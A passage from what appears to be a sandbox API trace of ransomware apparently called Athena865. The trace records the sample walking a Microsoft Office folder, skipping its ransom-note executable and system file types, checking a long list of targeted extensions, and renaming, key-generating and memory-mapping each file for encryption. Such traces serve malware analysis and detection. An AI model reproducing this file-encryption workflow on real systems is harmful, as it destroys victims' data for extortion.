(lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchkey.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchkey.dat.athena865"), dwFlags=0x1) returned 1 [0145.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchkey.dat.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0145.847] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=325495) returned 1 [0145.847] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0145.847] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0145.847] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0145.847] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0145.848] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0145.848] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.848] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4fa80, lpName=0x0) returned 0x17c [0145.849] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4fa80) returned 0x2bb0000 [0145.860] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0145.860] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0145.860] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0145.861] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0145.865] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33033d00, ftCreationTime.dwHighDateTime=0x1c56d62, ftLastAccessTime.dwLowDateTime=0xc866d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33033d00, ftLastWriteTime.dwHighDateTime=0x1c56d62, nFileSizeHigh=0x0, nFileSizeLow=0x1f3978, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PSRCHLEX.DAT", cAlternateFileName="")) returned 1 [0145.865] lstrcmpiW (lpString1="PSRCHLEX.DAT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0145.865] lstrcmpiW (lpString1="PSRCHLEX.DAT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0145.865] lstrcpyW (in: lpString1=0x241e8a8, lpString2="PSRCHLEX.DAT" | out: lpString1="PSRCHLEX.DAT") returned="PSRCHLEX.DAT" [0145.865] lstrlenW (lpString="PSRCHLEX.DAT") returned 12 [0145.865] lstrlenW (lpString="Athena865") returned 9 [0145.865] lstrcmpiW (lpString1="CHLEX.DAT", lpString2="Athena865") returned 1 [0145.865] lstrlenW (lpString=".dll") returned 4 [0145.865] lstrcmpiW (lpString1="PSRCHLEX.DAT", lpString2=".dll") returned 1 [0145.865] lstrlenW (lpString=".lnk") returned 4 [0145.865] lstrcmpiW (lpString1="PSRCHLEX.DAT", lpString2=".lnk") returned 1 [0145.866] lstrlenW (lpString=".ini") returned 4 [0145.866] lstrcmpiW (lpString1="PSRCHLEX.DAT", lpString2=".ini") returned 1 [0145.866] lstrlenW (lpString=".sys") returned 4 [0145.866] lstrcmpiW (lpString1="PSRCHLEX.DAT", lpString2=".sys") returned 1 [0145.866] lstrlenW (lpString="PSRCHLEX.DAT") returned 12 [0145.866] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT.Athena865") returned 70 [0145.866] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchlex.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchlex.dat.athena865"), dwFlags=0x1) returned 1 [0145.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchlex.dat.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0145.868] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2046328) returned 1 [0145.868] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0145.869] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0145.869] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.869] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1f3c80, lpName=0x0) returned 0x17c [0145.870] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1f3c80) returned 0x2bb0000 [0145.931] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0145.931] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0145.931] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.965] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33033d00, ftCreationTime.dwHighDateTime=0x1c56d62, ftLastAccessTime.dwLowDateTime=0xc866d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33033d00, ftLastWriteTime.dwHighDateTime=0x1c56d62, nFileSizeHigh=0x0, nFileSizeLow=0xcd64, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PSRCHLTS.DAT", cAlternateFileName="")) returned 1 [0145.965] lstrcmpiW (lpString1="PSRCHLTS.DAT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0145.966] lstrcmpiW (lpString1="PSRCHLTS.DAT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0145.966] lstrcpyW (in: lpString1=0x241e8a8, lpString2="PSRCHLTS.DAT" | out: lpString1="PSRCHLTS.DAT") returned="PSRCHLTS.DAT" [0145.966] lstrlenW (lpString="PSRCHLTS.DAT") returned 12 [0145.966] lstrlenW (lpString="Athena865") returned 9 [0145.966] lstrcmpiW (lpString1="CHLTS.DAT", lpString2="Athena865") returned 1 [0145.966] lstrlenW (lpString=".dll") returned 4 [0145.966] lstrcmpiW (lpString1="PSRCHLTS.DAT", lpString2=".dll") returned 1 [0145.966] lstrlenW (lpString=".lnk") returned 4 [0145.966] lstrcmpiW (lpString1="PSRCHLTS.DAT", lpString2=".lnk") returned 1 [0145.966] lstrlenW (lpString=".ini") returned 4 [0145.966] lstrcmpiW (lpString1="PSRCHLTS.DAT", lpString2=".ini") returned 1 [0145.966] lstrlenW (lpString=".sys") returned 4 [0145.966] lstrcmpiW (lpString1="PSRCHLTS.DAT", lpString2=".sys") returned 1 [0145.966] lstrlenW (lpString="PSRCHLTS.DAT") returned 12 [0145.968] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT.Athena865") returned 70 [0145.968] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchlts.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchlts.dat.athena865"), dwFlags=0x1) returned 1 [0145.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchlts.dat.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0145.975] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=52580) returned 1 [0145.975] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0145.976] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0145.976] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.976] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd070, lpName=0x0) returned 0x17c [0145.978] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd070) returned 0x100000 [0145.982] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0145.987] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0145.987] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.988] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33033d00, ftCreationTime.dwHighDateTime=0x1c56d62, ftLastAccessTime.dwLowDateTime=0xc866d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33033d00, ftLastWriteTime.dwHighDateTime=0x1c56d62, nFileSizeHigh=0x0, nFileSizeLow=0xd18, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PSRCHPHN.DAT", cAlternateFileName="")) returned 1 [0145.988] lstrcmpiW (lpString1="PSRCHPHN.DAT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0145.988] lstrcmpiW (lpString1="PSRCHPHN.DAT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0145.988] lstrcpyW (in: lpString1=0x241e8a8, lpString2="PSRCHPHN.DAT" | out: lpString1="PSRCHPHN.DAT") returned="PSRCHPHN.DAT" [0145.988] lstrlenW (lpString="PSRCHPHN.DAT") returned 12 [0145.988] lstrlenW (lpString="Athena865") returned 9 [0145.988] lstrcmpiW (lpString1="CHPHN.DAT", lpString2="Athena865") returned 1 [0145.989] lstrlenW (lpString=".dll") returned 4 [0145.989] lstrcmpiW (lpString1="PSRCHPHN.DAT", lpString2=".dll") returned 1 [0145.989] lstrlenW (lpString=".lnk") returned 4 [0145.989] lstrcmpiW (lpString1="PSRCHPHN.DAT", lpString2=".lnk") returned 1 [0145.989] lstrlenW (lpString=".ini") returned 4 [0145.989] lstrcmpiW (lpString1="PSRCHPHN.DAT", lpString2=".ini") returned 1 [0145.989] lstrlenW (lpString=".sys") returned 4 [0145.989] lstrcmpiW (lpString1="PSRCHPHN.DAT", lpString2=".sys") returned 1 [0145.989] lstrlenW (lpString="PSRCHPHN.DAT") returned 12 [0145.989] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT.Athena865") returned 70 [0145.989] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchphn.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchphn.dat.athena865"), dwFlags=0x1) returned 1 [0145.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchphn.dat.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0145.991] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3352) returned 1 [0145.991] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0145.991] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0145.992] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.992] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1020, lpName=0x0) returned 0x17c [0145.993] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1020) returned 0x100000 [0145.995] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0145.995] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0145.995] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.996] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b190700, ftCreationTime.dwHighDateTime=0x1c5c981, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b190700, ftLastWriteTime.dwHighDateTime=0x1c5c981, nFileSizeHigh=0x0, nFileSizeLow=0xa03a47, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PSRCHSRN.DAT", cAlternateFileName="")) returned 1 [0145.996] lstrcmpiW (lpString1="PSRCHSRN.DAT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0145.996] lstrcmpiW (lpString1="PSRCHSRN.DAT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0145.996] lstrcpyW (in: lpString1=0x241e8a8, lpString2="PSRCHSRN.DAT" | out: lpString1="PSRCHSRN.DAT") returned="PSRCHSRN.DAT" [0145.996] lstrlenW (lpString="PSRCHSRN.DAT") returned 12 [0145.996] lstrlenW (lpString="Athena865") returned 9 [0145.996] lstrcmpiW (lpString1="CHSRN.DAT", lpString2="Athena865") returned 1 [0145.996] lstrlenW (lpString=".dll") returned 4 [0145.996] lstrcmpiW (lpString1="PSRCHSRN.DAT", lpString2=".dll") returned 1 [0145.996] lstrlenW (lpString=".lnk") returned 4 [0145.996] lstrcmpiW (lpString1="PSRCHSRN.DAT", lpString2=".lnk") returned 1 [0145.996] lstrlenW (lpString=".ini") returned 4 [0145.996] lstrcmpiW (lpString1="PSRCHSRN.DAT", lpString2=".ini") returned 1 [0145.996] lstrlenW (lpString=".sys") returned 4 [0145.996] lstrcmpiW (lpString1="PSRCHSRN.DAT", lpString2=".sys") returned 1 [0145.996] lstrlenW (lpString="PSRCHSRN.DAT") returned 12 [0145.996] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT.Athena865") returned 70 [0145.996] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchsrn.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchsrn.dat.athena865"), dwFlags=0x1) returned 1 [0145.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchsrn.dat.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0145.998] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10500679) returned 1 [0145.998] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0145.999] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0145.999] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.999] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa03d50, lpName=0x0) returned 0x17c [0146.002] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0xa00000, dwNumberOfBytesToMap=0x3d50) returned 0x100000 [0146.256] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0146.256] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0146.256] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.265] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe236cf00, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x1bbcb690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe236cf00, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x6a8b68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PUB6INTL.DLL", cAlternateFileName="")) returned 1 [0146.265] lstrcmpiW (lpString1="PUB6INTL.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0146.265] lstrcmpiW (lpString1="PUB6INTL.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0146.265] lstrcpyW (in: lpString1=0x241e8a8, lpString2="PUB6INTL.DLL" | out: lpString1="PUB6INTL.DLL") returned="PUB6INTL.DLL" [0146.265] lstrlenW (lpString="PUB6INTL.DLL") returned 12 [0146.265] lstrlenW (lpString="Athena865") returned 9 [0146.265] lstrcmpiW (lpString1="6INTL.DLL", lpString2="Athena865") returned -1 [0146.265] lstrlenW (lpString=".dll") returned 4 [0146.265] lstrcmpiW (lpString1="PUB6INTL.DLL", lpString2=".dll") returned 1 [0146.265] lstrlenW (lpString=".lnk") returned 4 [0146.265] lstrcmpiW (lpString1="PUB6INTL.DLL", lpString2=".lnk") returned 1 [0146.265] lstrlenW (lpString=".ini") returned 4 [0146.265] lstrcmpiW (lpString1="PUB6INTL.DLL", lpString2=".ini") returned 1 [0146.265] lstrlenW (lpString=".sys") returned 4 [0146.265] lstrcmpiW (lpString1="PUB6INTL.DLL", lpString2=".sys") returned 1 [0146.265] lstrlenW (lpString="PUB6INTL.DLL") returned 12 [0146.266] lstrlenW (lpString="bak") returned 3 [0146.266] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0146.266] lstrlenW (lpString="ba_") returned 3 [0146.266] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0146.266] lstrlenW (lpString="dbb") returned 3 [0146.266] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0146.266] lstrlenW (lpString="vmdk") returned 4 [0146.266] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0146.266] lstrlenW (lpString="rar") returned 3 [0146.266] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0146.266] lstrlenW (lpString="zip") returned 3 [0146.266] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0146.266] lstrlenW (lpString="tgz") returned 3 [0146.266] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0146.266] lstrlenW (lpString="vbox") returned 4 [0146.266] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0146.266] lstrlenW (lpString="vdi") returned 3 [0146.266] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0146.266] lstrlenW (lpString="vhd") returned 3 [0146.266] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0146.266] lstrlenW (lpString="vhdx") returned 4 [0146.266] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0146.266] lstrlenW (lpString="avhd") returned 4 [0146.266] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0146.266] lstrlenW (lpString="db") returned 2 [0146.266] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0146.266] lstrlenW (lpString="db2") returned 3 [0146.266] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0146.266] lstrlenW (lpString="db3") returned 3 [0146.266] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0146.266] lstrlenW (lpString="dbf") returned 3 [0146.266] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0146.267] lstrlenW (lpString="mdf") returned 3 [0146.267] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0146.267] lstrlenW (lpString="mdb") returned 3 [0146.267] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0146.267] lstrlenW (lpString="sql") returned 3 [0146.267] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0146.267] lstrlenW (lpString="sqlite") returned 6 [0146.267] lstrcmpiW (lpString1="TL.DLL", lpString2="sqlite") returned 1 [0146.267] lstrlenW (lpString="sqlite3") returned 7 [0146.267] lstrcmpiW (lpString1="NTL.DLL", lpString2="sqlite3") returned -1 [0146.267] lstrlenW (lpString="sqlitedb") returned 8 [0146.267] lstrcmpiW (lpString1="INTL.DLL", lpString2="sqlitedb") returned -1 [0146.267] lstrlenW (lpString="xml") returned 3 [0146.267] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0146.267] lstrlenW (lpString="$er") returned 3 [0146.267] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0146.267] lstrlenW (lpString="4dd") returned 3 [0146.267] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0146.267] lstrlenW (lpString="4dl") returned 3 [0146.267] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0146.267] lstrlenW (lpString="^^^") returned 3 [0146.267] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0146.267] lstrlenW (lpString="abs") returned 3 [0146.267] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0146.267] lstrlenW (lpString="abx") returned 3 [0146.267] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0146.267] lstrlenW (lpString="accdb") returned 5 [0146.267] lstrcmpiW (lpString1="L.DLL", lpString2="accdb") returned 1 [0146.267] lstrlenW (lpString="accdc") returned 5 [0146.267] lstrcmpiW (lpString1="L.DLL", lpString2="accdc") returned 1 [0146.267] lstrlenW (lpString="accde") returned 5 [0146.267] lstrcmpiW (lpString1="L.DLL", lpString2="accde") returned 1 [0146.267] lstrlenW (lpString="accdr") returned 5 [0146.268] lstrcmpiW (lpString1="L.DLL", lpString2="accdr") returned 1 [0146.268] lstrlenW (lpString="accdt") returned 5 [0146.268] lstrcmpiW (lpString1="L.DLL", lpString2="accdt") returned 1 [0146.268] lstrlenW (lpString="accdw") returned 5 [0146.268] lstrcmpiW (lpString1="L.DLL", lpString2="accdw") returned 1 [0146.268] lstrlenW (lpString="accft") returned 5 [0146.268] lstrcmpiW (lpString1="L.DLL", lpString2="accft") returned 1 [0146.268] lstrlenW (lpString="adb") returned 3 [0146.268] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0146.268] lstrlenW (lpString="adb") returned 3 [0146.268] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0146.268] lstrlenW (lpString="ade") returned 3 [0146.268] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0146.268] lstrlenW (lpString="adf") returned 3 [0146.268] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0146.268] lstrlenW (lpString="adn") returned 3 [0146.268] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0146.268] lstrlenW (lpString="adp") returned 3 [0146.268] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0146.268] lstrlenW (lpString="alf") returned 3 [0146.268] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0146.268] lstrlenW (lpString="ask") returned 3 [0146.268] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0146.268] lstrlenW (lpString="btr") returned 3 [0146.268] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0146.268] lstrlenW (lpString="cat") returned 3 [0146.268] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0146.268] lstrlenW (lpString="cdb") returned 3 [0146.268] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0146.268] lstrlenW (lpString="ckp") returned 3 [0146.268] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0146.268] lstrlenW (lpString="cma") returned 3 [0146.269] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0146.269] lstrlenW (lpString="cpd") returned 3 [0146.269] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0146.269] lstrlenW (lpString="dacpac") returned 6 [0146.269] lstrcmpiW (lpString1="TL.DLL", lpString2="dacpac") returned 1 [0146.269] lstrlenW (lpString="dad") returned 3 [0146.269] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0146.269] lstrlenW (lpString="dadiagrams") returned 10 [0146.269] lstrcmpiW (lpString1="B6INTL.DLL", lpString2="dadiagrams") returned -1 [0146.269] lstrlenW (lpString="daschema") returned 8 [0146.269] lstrcmpiW (lpString1="INTL.DLL", lpString2="daschema") returned 1 [0146.269] lstrlenW (lpString="db-journal") returned 10 [0146.269] lstrcmpiW (lpString1="B6INTL.DLL", lpString2="db-journal") returned -1 [0146.269] lstrlenW (lpString="db-shm") returned 6 [0146.269] lstrcmpiW (lpString1="TL.DLL", lpString2="db-shm") returned 1 [0146.269] lstrlenW (lpString="db-wal") returned 6 [0146.269] lstrcmpiW (lpString1="TL.DLL", lpString2="db-wal") returned 1 [0146.269] lstrlenW (lpString="dbc") returned 3 [0146.269] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0146.269] lstrlenW (lpString="dbs") returned 3 [0146.269] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0146.269] lstrlenW (lpString="dbt") returned 3 [0146.269] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0146.269] lstrlenW (lpString="dbv") returned 3 [0146.269] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0146.269] lstrlenW 